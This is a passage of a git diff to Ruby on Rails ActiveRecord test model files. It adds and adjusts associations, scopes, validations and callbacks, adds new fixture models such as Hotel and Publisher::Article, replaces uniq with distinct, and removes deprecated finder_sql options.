new file mode 100644
index 0000000000..2db968ef11
--- /dev/null
+++ b/activerecord/test/models/drink_designer.rb
@@ -0,0 +1,3 @@
+class DrinkDesigner < ActiveRecord::Base
+ has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
index 35af9f679b..6fc270673f 100644
--- a/activerecord/test/models/electron.rb
+++ b/activerecord/test/models/electron.rb
@@ -1,3 +1,5 @@
class Electron < ActiveRecord::Base
belongs_to :molecule
+
+ validates_presence_of :name
end
diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb
index edb75d333f..91e46f83e5 100644
--- a/activerecord/test/models/face.rb
+++ b/activerecord/test/models/face.rb
@@ -1,6 +1,8 @@
class Face < ActiveRecord::Base
belongs_to :man, :inverse_of => :face
belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_face
+ # Oracle identifier lengh is limited to 30 bytes or less, `polymorphic` renamed `poly`
+ belongs_to :poly_man_without_inverse, :polymorphic => true
# These is a "broken" inverse_of for the purposes of testing
belongs_to :horrible_man, :class_name => 'Man', :inverse_of => :horrible_face
belongs_to :horrible_polymorphic_man, :polymorphic => true, :inverse_of => :horrible_polymorphic_face
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
index 6b4f7acc38..4b411ca8e0 100644
--- a/activerecord/test/models/friendship.rb
+++ b/activerecord/test/models/friendship.rb
@@ -1,4 +1,6 @@
class Friendship < ActiveRecord::Base
belongs_to :friend, class_name: 'Person'
- belongs_to :follower, foreign_key: 'friend_id', class_name: 'Person', counter_cache: :followers_count
+ # friend_too exists to test a bug, and probably shouldn't be used elsewhere
+ belongs_to :friend_too, foreign_key: 'friend_id', class_name: 'Person', counter_cache: :friends_too_count
+ belongs_to :follower, class_name: 'Person'
end
diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb
new file mode 100644
index 0000000000..b352cd22f3
--- /dev/null
+++ b/activerecord/test/models/hotel.rb
@@ -0,0 +1,6 @@
+class Hotel < ActiveRecord::Base
+ has_many :departments
+ has_many :chefs, through: :departments
+ has_many :cake_designers, source_type: 'CakeDesigner', source: :employable, through: :chefs
+ has_many :drink_designers, source_type: 'DrinkDesigner', source: :employable, through: :chefs
+end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
index 6cfd443e75..69d4d7df1a 100644
--- a/activerecord/test/models/liquid.rb
+++ b/activerecord/test/models/liquid.rb
@@ -1,5 +1,4 @@
class Liquid < ActiveRecord::Base
self.table_name = :liquid
- has_many :molecules, -> { uniq }
+ has_many :molecules, -> { distinct }
end
-
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
index 4bff92dc98..4fbb6b226b 100644
--- a/activerecord/test/models/man.rb
+++ b/activerecord/test/models/man.rb
@@ -1,9 +1,11 @@
class Man < ActiveRecord::Base
has_one :face, :inverse_of => :man
has_one :polymorphic_face, :class_name => 'Face', :as => :polymorphic_man, :inverse_of => :polymorphic_man
+ has_one :polymorphic_face_without_inverse, :class_name => 'Face', :as => :poly_man_without_inverse
has_many :interests, :inverse_of => :man
has_many :polymorphic_interests, :class_name => 'Interest', :as => :polymorphic_man, :inverse_of => :polymorphic_man
# These are "broken" inverse_of associations for the purposes of testing
has_one :dirty_face, :class_name => 'Face', :inverse_of => :dirty_man
has_many :secret_interests, :class_name => 'Interest', :inverse_of => :secret_man
+ has_one :mixed_case_monkey
end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index 1134b09d8b..dc0566d8a7 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -2,14 +2,13 @@ class Member < ActiveRecord::Base
has_one :current_membership
has_one :selected_membership
has_one :membership
- has_many :fellow_members, :through => :club, :source => :members
has_one :club, :through => :current_membership
has_one :selected_club, :through => :selected_membership, :source => :club
has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
has_one :hairy_club, -> { where :clubs => {:name => "Moustache and Eyebrow Fancier Club"} }, :through => :membership, :source => :club
has_one :sponsor, :as => :sponsorable
has_one :sponsor_club, :through => :sponsor
- has_one :member_detail
+ has_one :member_detail, :inverse_of => false
has_one :organization, :through => :member_detail
belongs_to :member_type
@@ -28,6 +27,9 @@ class Member < ActiveRecord::Base
has_many :clubs, :through => :current_memberships
has_one :club_through_many, :through => :current_memberships, :source => :club
+
+ belongs_to :admittable, polymorphic: true
+ has_one :premium_club, through: :admittable
end
class SelfMember < ActiveRecord::Base
diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb
index fe619f8732..9d253aa126 100644
--- a/activerecord/test/models/member_detail.rb
+++ b/activerecord/test/models/member_detail.rb
@@ -1,5 +1,5 @@
class MemberDetail < ActiveRecord::Base
- belongs_to :member
+ belongs_to :member, :inverse_of => false
belongs_to :organization
has_one :member_type, :through => :member
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
index bcbb7e42c5..df7167ee93 100644
--- a/activerecord/test/models/membership.rb
+++ b/activerecord/test/models/membership.rb
@@ -8,6 +8,11 @@ class CurrentMembership < Membership
belongs_to :club
end
+class SuperMembership < Membership
+ belongs_to :member, -> { order('members.id DESC') }
+ belongs_to :club
+end
+
class SelectedMembership < Membership
def self.default_scope
select("'1' as foo")
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 763baefd91..1c35006665 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,3 @@
class MixedCaseMonkey < ActiveRecord::Base
- self.primary_key = 'monkeyID'
+ belongs_to :man
end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
index 69325b8d29..26870c8f88 100644
--- a/activerecord/test/models/molecule.rb
+++ b/activerecord/test/models/molecule.rb
@@ -1,4 +1,6 @@
class Molecule < ActiveRecord::Base
belongs_to :liquid
has_many :electrons
+
+ accepts_nested_attributes_for :electrons
end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
index 6384b4c801..0302abad1e 100644
--- a/activerecord/test/models/movie.rb
+++ b/activerecord/test/models/movie.rb
@@ -1,5 +1,5 @@
class Movie < ActiveRecord::Base
- def self.primary_key
- "movieid"
- end
+ self.primary_key = "movieid"
+
+ validates_presence_of :name
end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index fea55f4535..2e3a9a3681 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -1,5 +1,34 @@
class Owner < ActiveRecord::Base
self.primary_key = :owner_id
- has_many :pets
+ has_many :pets, -> { order 'pets.name desc' }
has_many :toys, :through => :pets
+
+ belongs_to :last_pet, class_name: 'Pet'
+ scope :including_last_pet, -> {
+ select(%q[
+ owners.*, (
+ select p.pet_id from pets p
+ where p.owner_id = owners.owner_id
+ order by p.name desc
+ limit 1
+ ) as last_pet_id
+ ]).includes(:last_pet)
+ }
+
+ after_commit :execute_blocks
+
+ def blocks
+ @blocks ||= []
+ end
+
+ def on_after_commit(&block)
+ blocks << block
+ end
+
+ def execute_blocks
+ blocks.each do |block|
+ block.call(self)
+ end
+ @blocks = []
+ end
end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index c4ee2bd19d..8c83de573f 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -19,5 +19,11 @@ class LiveParrot < Parrot
end
class DeadParrot < Parrot
- belongs_to :killer, :class_name => 'Pirate'
+ belongs_to :killer, :class_name => 'Pirate', foreign_key: :killer_id
+end
+
+class FunkyParrot < Parrot
+ before_destroy do
+ raise "before_destroy was called"
+ end
end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 6ad0cf6987..ad12f00d42 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -8,13 +8,17 @@ class Person < ActiveRecord::Base
has_many :posts_with_no_comments, -> { includes(:comments).where('comments.id is null').references(:comments) },
:through => :readers, :source => :post
- has_many :followers, foreign_key: 'friend_id', class_name: 'Friendship'
+ has_many :friendships, foreign_key: 'friend_id'
+ # friends_too exists to test a bug, and probably shouldn't be used elsewhere
+ has_many :friends_too, foreign_key: 'friend_id', class_name: 'Friendship'
+ has_many :followers, through: :friendships
has_many :references
has_many :bad_references
has_many :fixed_bad_references, -> { where :favourite => true }, :class_name => 'BadReference'
has_one :favourite_reference, -> { where 'favourite=?', true }, :class_name => 'Reference'
has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order('comments.id') }, :through => :readers, :source => :post
+ has_many :first_posts, -> { where(id: [1, 2]) }, through: :readers
has_many :jobs, :through => :references
has_many :jobs_with_dependent_destroy, :source => :job, :through => :references, :dependent => :destroy
@@ -26,8 +30,11 @@ class Person < ActiveRecord::Base
has_many :agents_of_agents, :through => :agents, :source => :agents
belongs_to :number1_fan, :class_name => 'Person'
+ has_many :personal_legacy_things, :dependent => :destroy
+
has_many :agents_posts, :through => :agents, :source => :posts
has_many :agents_posts_authors, :through => :agents_posts, :source => :author
+ has_many :essays, primary_key: "first_name", foreign_key: "writer_id"
scope :males, -> { where(:gender => 'M') }
scope :females, -> { where(:gender => 'F') }
@@ -84,6 +91,19 @@ class RichPerson < ActiveRecord::Base
self.table_name = 'people'
has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+
+ before_validation :run_before_create, on: :create
+ before_validation :run_before_validation
+
+ private
+
+ def run_before_create
+ self.first_name = first_name.to_s + 'run_before_create'
+ end
+
+ def run_before_validation
+ self.first_name = first_name.to_s + 'run_before_validation'
+ end
end
class NestedPerson < ActiveRecord::Base
@@ -100,3 +120,24 @@ class NestedPerson < ActiveRecord::Base
assign_attributes({ :best_friend_attributes => { :first_name => new_name } })
end
end
+
+class Insure
+ INSURES = %W{life annuality}
+
+ def self.load mask
+ INSURES.select do |insure|
+ (1 << INSURES.index(insure)) & mask.to_i > 0
+ end
+ end
+
+ def self.dump insures
+ numbers = insures.map { |insure| INSURES.index(insure) }
+ numbers.inject(0) { |sum, n| sum + (1 << n) }
+ end
+end
+
+class SerializedPerson < ActiveRecord::Base
+ self.table_name = 'people'
+
+ serialize :insures, Insure
+end
diff --git a/activerecord/test/models/personal_legacy_thing.rb b/activerecord/test/models/personal_legacy_thing.rb
new file mode 100644
index 0000000000..a7ee3a0bca
--- /dev/null
+++ b/activerecord/test/models/personal_legacy_thing.rb
@@ -0,0 +1,4 @@
+class PersonalLegacyThing < ActiveRecord::Base
+ self.locking_column = :version
+ belongs_to :person, :counter_cache => true
+end
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
index 3cd5bceed5..f7970d7aab 100644
--- a/activerecord/test/models/pet.rb
+++ b/activerecord/test/models/pet.rb
@@ -1,5 +1,4 @@
class Pet < ActiveRecord::Base
-
attr_accessor :current_user
self.primary_key = :pet_id
@@ -13,5 +12,4 @@ class Pet < ActiveRecord::Base
after_destroy do |record|
Pet.after_destroy_output = record.current_user
end
-
end
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 170fc2ffe3..641a33f9be 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -13,11 +13,11 @@ class Pirate < ActiveRecord::Base
:after_add => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
:before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
:after_remove => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+ has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
has_many :treasures, :as => :looter
has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
- # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
has_one :ship
has_one :update_only_ship, :class_name => 'Ship'
has_one :non_validated_ship, :class_name => 'Ship'
@@ -36,8 +36,8 @@ class Pirate < ActiveRecord::Base
has_one :foo_bulb, -> { where :name => 'foo' }, :foreign_key => :car_id, :class_name => "Bulb"
- accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
- accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc(&:empty?)
+ accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
accepts_nested_attributes_for :update_only_ship, :update_only => true
accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
:birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
@@ -84,3 +84,9 @@ end
class DestructivePirate < Pirate
has_one :dependent_ship, :class_name => 'Ship', :foreign_key => :pirate_id, :dependent => :destroy
end
+
+class FamousPirate < ActiveRecord::Base
+ self.table_name = 'pirates'
+ has_many :famous_ships
+ validates_presence_of :catchphrase, on: :conference
+end \ No newline at end of file
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index c995f59a15..57e1818e49 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,20 +1,28 @@
class Post < ActiveRecord::Base
+ class CategoryPost < ActiveRecord::Base
+ self.table_name = "categories_posts"
+ belongs_to :category
+ belongs_to :post
+ end
+
module NamedExtension
def author
'lifo'
end
end
+ module NamedExtension2
+ def greeting
+ "hello"
+ end
+ end
+
scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
scope :ranked_by_comments, -> { order("comments_count DESC") }
scope :limit_by, lambda {|l| limit(l) }
- belongs_to :author do
- def greeting
- "hello"
- end
- end
+ belongs_to :author
belongs_to :author_with_posts, -> { includes(:posts) }, :class_name => "Author", :foreign_key => :author_id
belongs_to :author_with_address, -> { includes(:author_address) }, :class_name => "Author", :foreign_key => :author_id
@@ -29,6 +37,12 @@ class Post < ActiveRecord::Base
scope :with_very_special_comments, -> { joins(:comments).where(:comments => {:type => 'VerySpecialComment'}) }
scope :with_post, ->(post_id) { joins(:comments).where(:comments => { :post_id => post_id }) }
+ scope :with_comments, -> { preload(:comments) }
+ scope :with_tags, -> { preload(:taggings) }
+
+ scope :tagged_with, ->(id) { joins(:taggings).where(taggings: { tag_id: id }) }
+ scope :tagged_with_comment, ->(comment) { joins(:taggings).where(taggings: { comment: comment }) }
+
has_many :comments do
def find_most_recent
order("id DESC").first
@@ -43,9 +57,20 @@ class Post < ActiveRecord::Base
end
end
+ has_many :comments_with_extend, extend: NamedExtension, class_name: "Comment", foreign_key: "post_id" do
+ def greeting
+ "hello"
+ end
+ end
+
+ has_many :comments_with_extend_2, extend: [NamedExtension, NamedExtension2], class_name: "Comment", foreign_key: "post_id"
+
has_many :author_favorites, :through => :author
has_many :author_categorizations, :through => :author, :source => :categorizations
has_many :author_addresses, :through => :author
+ has_many :author_address_extra_with_address,
+ through: :author_with_address,
+ source: :author_address_extra
has_many :comments_with_interpolated_conditions,
->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
@@ -53,16 +78,19 @@ class Post < ActiveRecord::Base
has_one :very_special_comment
has_one :very_special_comment_with_post, -> { includes(:post) }, :class_name => "VerySpecialComment"
+ has_one :very_special_comment_with_post_with_joins, -> { joins(:post).order('posts.id') }, class_name: "VerySpecialComment"
has_many :special_comments
- has_many :nonexistant_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
+ has_many :nonexistent_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
+ has_many :category_posts, :class_name => 'CategoryPost'
+ has_many :scategories, through: :category_posts, source: :category
has_and_belongs_to_many :categories
has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
- has_many :taggings, :as => :taggable
+ has_many :taggings, :as => :taggable, :counter_cache => :tags_count
has_many :tags, :through => :taggings do
def add_joins_and_select
select('tags.*, authors.id as author_id')
@@ -109,7 +137,6 @@ class Post < ActiveRecord::Base
has_many :secure_readers
has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
has_many :people, :through => :readers
- has_many :secure_people, :through => :secure_readers
has_many :single_people, :through => :readers
has_many :people_with_callbacks, :source=>:person, :through => :readers,
:before_add => lambda {|owner, reader| log(:added, :before, reader.first_name) },
@@ -122,10 +149,18 @@ class Post < ActiveRecord::Base
has_many :lazy_readers
has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
+ has_many :lazy_people, :through => :lazy_readers, :source => :person
+ has_many :lazy_readers_unscope_skimmers, -> { skimmers_or_not }, :class_name => 'LazyReader'
+ has_many :lazy_people_unscope_skimmers, :through => :lazy_readers_unscope_skimmers, :source => :person
+
def self.top(limit)
ranked_by_comments.limit_by(limit)
end
+ def self.written_by(author)
+ where(id: author.posts.pluck(:id))
+ end
+
def self.reset_log
@log = []
end
@@ -134,10 +169,6 @@ class Post < ActiveRecord::Base
return @log if message.nil?
@log << [message, side, new_record]
end
-
- def self.what_are_you
- 'a post...'
- end
end
class SpecialPost < Post; end
@@ -151,18 +182,6 @@ class SubStiPost < StiPost
self.table_name = Post.table_name
end
-ActiveSupport::Deprecation.silence do
- class DeprecatedPostWithComment < ActiveRecord::Base
- self.table_name = 'posts'
- default_scope where("posts.comments_count > 0").order("posts.comments_count ASC")
- end
-end
-
-class PostForAuthor < ActiveRecord::Base
- self.table_name = 'posts'
- cattr_accessor :selected_author
-end
-
class FirstPost < ActiveRecord::Base
self.table_name = 'posts'
default_scope { where(:id => 1) }
@@ -177,6 +196,11 @@ class PostWithDefaultInclude < ActiveRecord::Base
has_many :comments, :foreign_key => :post_id
end
+class PostWithSpecialCategorization < Post
+ has_many :categorizations, :foreign_key => :post_id
+ default_scope { where(:type => 'PostWithSpecialCategorization').joins(:categorizations).where(:categorizations => { :special => true }) }
+end
+
class PostWithDefaultScope < ActiveRecord::Base
self.table_name = 'posts'
default_scope { order(:title) }
@@ -186,3 +210,31 @@ class SpecialPostWithDefaultScope < ActiveRecord::Base
self.table_name = 'posts'
default_scope { where(:id => [1, 5,6]) }
end
+
+class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base
+ self.table_name = 'posts'
+ has_many :comments, class_name: "CommentThatAutomaticallyAltersPostBody", foreign_key: :post_id
+
+ after_save do |post|
+ post.comments.load
+ end
+end
+
+class PostWithAfterCreateCallback < ActiveRecord::Base
+ self.table_name = 'posts'
+ has_many :comments, foreign_key: :post_id
+
+ after_create do |post|
+ update_attribute(:author_id, comments.first.id)
+ end
+end
+
+class PostWithCommentWithDefaultScopeReferencesAssociation < ActiveRecord::Base
+ self.table_name = 'posts'
+ has_many :comment_with_default_scope_references_associations, foreign_key: :post_id
+ has_one :first_comment, class_name: "CommentWithDefaultScopeReferencesAssociation", foreign_key: :post_id
+end
+
+class SerializedPost < ActiveRecord::Base
+ serialize :title
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index af3ec4be83..7f42a4b1f8 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,25 +1,11 @@
class Project < ActiveRecord::Base
- has_and_belongs_to_many :developers, -> { uniq.order 'developers.name desc, developers.id desc' }
+ has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' }
has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
- has_and_belongs_to_many :selected_developers, -> { uniq.select "developers.*" }, :class_name => "Developer"
has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
- has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").uniq }, :class_name => "Developer"
- has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').uniq }, :class_name => "Developer"
+ has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, :class_name => "Developer"
+ has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').distinct }, :class_name => "Developer"
has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, :class_name => "Developer"
-
- ActiveSupport::Deprecation.silence do
- has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
- has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
- "SELECT
- t.*, j.*
- FROM
- developers_projects j,
- developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
- }
- has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
- end
-
has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
:after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
:before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
@@ -40,7 +26,4 @@ class Project < ActiveRecord::Base
end
class SpecialProject < Project
- def hello_world
- "hello there!"
- end
end
diff --git a/activerecord/test/models/publisher.rb b/activerecord/test/models/publisher.rb
new file mode 100644
index 0000000000..0d4a7f9235
--- /dev/null
+++ b/activerecord/test/models/publisher.rb
@@ -0,0 +1,2 @@
+module Publisher
+end
diff --git a/activerecord/test/models/publisher/article.rb b/activerecord/test/models/publisher/article.rb
new file mode 100644
index 0000000000..d73a8eb936
--- /dev/null
+++ b/activerecord/test/models/publisher/article.rb
@@ -0,0 +1,4 @@
+class Publisher::Article < ActiveRecord::Base
+ has_and_belongs_to_many :magazines
+ has_and_belongs_to_many :tags
+end
diff --git a/activerecord/test/models/publisher/magazine.rb b/activerecord/test/models/publisher/magazine.rb
new file mode 100644
index 0000000000..82e1a14008
--- /dev/null
+++ b/activerecord/test/models/publisher/magazine.rb
@@ -0,0 +1,3 @@
+class Publisher::Magazine < ActiveRecord::Base
+ has_and_belongs_to_many :articles
+end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index f8fb9c573e..91afc1898c 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -2,6 +2,7 @@ class Reader < ActiveRecord::Base
belongs_to :post
belongs_to :person, :inverse_of => :readers
belongs_to :single_person, :class_name => 'Person', :foreign_key => :person_id, :inverse_of => :reader
+ belongs_to :first_post, -> { where(id: [2, 3]) }
end
class SecureReader < ActiveRecord::Base
@@ -15,6 +16,8 @@ class LazyReader < ActiveRecord::Base
self.table_name = "readers"
default_scope -> { where(skimmer: true) }
+ scope :skimmers_or_not, -> { unscope(:where => :skimmer) }
+
belongs_to :post
belongs_to :person
end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
new file mode 100644
index 0000000000..f77ac9fc03
--- /dev/null
+++ b/activerecord/test/models/record.rb
@@ -0,0 +1,2 @@
+class Record < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/reference.rb b/activerecord/test/models/reference.rb
index 1636c118a2..c2f9068f57 100644
--- a/activerecord/test/models/reference.rb
+++ b/activerecord/test/models/reference.rb
@@ -11,7 +11,7 @@ class Reference < ActiveRecord::Base
def make_comments
if self.class.make_comments
- person.update_attributes :comments => "Reference destroyed"
+ person.update comments: "Reference destroyed"
end
end
end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index 079e325aad..3e82e55d89 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -1,14 +1,13 @@
require 'models/topic'
class Reply < Topic
- scope :base, -> { scoped }
-
belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
end
class UniqueReply < Reply
+ belongs_to :topic, :foreign_key => 'parent_id', :counter_cache => true
validates_uniqueness_of :content, :scope => 'parent_id'
end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
index 3da031946f..5f618a50d2 100644
--- a/activerecord/test/models/ship.rb
+++ b/activerecord/test/models/ship.rb
@@ -6,7 +6,7 @@ class Ship < ActiveRecord::Base
has_many :parts, :class_name => 'ShipPart'
accepts_nested_attributes_for :parts, :allow_destroy => true
- accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc(&:empty?)
accepts_nested_attributes_for :update_only_pirate, :update_only => true
validates_presence_of :name
@@ -17,3 +17,9 @@ class Ship < ActiveRecord::Base
false
end
end
+
+class FamousShip < ActiveRecord::Base
+ self.table_name = 'ships'
+ belongs_to :famous_pirate
+ validates_presence_of :name, on: :conference
+end
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
index 81414227ea..607a0a5b41 100644
--- a/activerecord/test/models/shop.rb
+++ b/activerecord/test/models/shop.rb
@@ -5,6 +5,11 @@ module Shop
class Product < ActiveRecord::Base
has_many :variants, :dependent => :delete_all
+ belongs_to :type
+
+ class Type < ActiveRecord::Base
+ has_many :products
+ end
end
class Variant < ActiveRecord::Base
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
index 0a7d38d8ec..497c3aba9a 100644
--- a/activerecord/test/models/speedometer.rb
+++ b/activerecord/test/models/speedometer.rb
@@ -1,4 +1,6 @@
class Speedometer < ActiveRecord::Base
self.primary_key = :speedometer_id
belongs_to :dashboard
+
+ has_many :minivans
end
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
index f459f2a9a3..28a0b6c99b 100644
--- a/activerecord/test/models/student.rb
+++ b/activerecord/test/models/student.rb
@@ -1,3 +1,4 @@
class Student < ActiveRecord::Base
has_and_belongs_to_many :lessons
+ belongs_to :college
end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
index a581b381e8..80d4725f7e 100644
--- a/activerecord/test/models/tag.rb
+++ b/activerecord/test/models/tag.rb
@@ -3,5 +3,5 @@ class Tag < ActiveRecord::Base
has_many :taggables, :through => :taggings
has_one :tagging
- has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
-end \ No newline at end of file
+ has_many :tagged_posts, :through => :taggings, :source => 'taggable', :source_type => 'Post'
+end
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
index f91f2ad2e9..a6c05da26a 100644
--- a/activerecord/test/models/tagging.rb
+++ b/activerecord/test/models/tagging.rb
@@ -8,6 +8,6 @@ class Tagging < ActiveRecord::Base
belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
belongs_to :blue_tag, -> { where :tags => { :name => 'Blue' } }, :class_name => 'Tag', :foreign_key => :tag_id
belongs_to :tag_with_primary_key, :class_name => 'Tag', :foreign_key => :tag_id, :primary_key => :custom_primary_key
- belongs_to :taggable, :polymorphic => true, :counter_cache => true
+ belongs_to :taggable, :polymorphic => true, :counter_cache => :tags_count
has_many :things, :through => :taggable
end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index f7f4cebc5a..f81ffe1d90 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -34,7 +34,6 @@ class Topic < ActiveRecord::Base
has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count'
- has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
@@ -107,7 +106,12 @@ class ImportantTopic < Topic
serialize :important, Hash
end
+class DefaultRejectedTopic < Topic
+ default_scope -> { where(approved: false) }
+end
+
class BlankTopic < Topic
+ # declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
def blank?
true
end
diff --git a/activerecord/test/models/traffic_light.rb b/activerecord/test/models/traffic_light.rb
index 228f3f7bd4..a6b7edb882 100644
--- a/activerecord/test/models/traffic_light.rb
+++ b/activerecord/test/models/traffic_light.rb
@@ -1,3 +1,4 @@
class TrafficLight < ActiveRecord::Base
serialize :state, Array
+ serialize :long_state, Array
end
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index e864295acf..a69d3fd3df 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -3,6 +3,7 @@ class Treasure < ActiveRecord::Base
belongs_to :looter, :polymorphic => true
has_many :price_estimates, :as => :estimate_of
+ has_and_belongs_to_many :rich_people, join_table: 'peoples_treasures', validate: false
accepts_nested_attributes_for :looter
end
diff --git a/activerecord/test/models/uuid_child.rb b/activerecord/test/models/uuid_child.rb
new file mode 100644
index 0000000000..a3d0962ad6
--- /dev/null
+++ b/activerecord/test/models/uuid_child.rb
@@ -0,0 +1,3 @@
+class UuidChild < ActiveRecord::Base
+ belongs_to :uuid_parent
+end
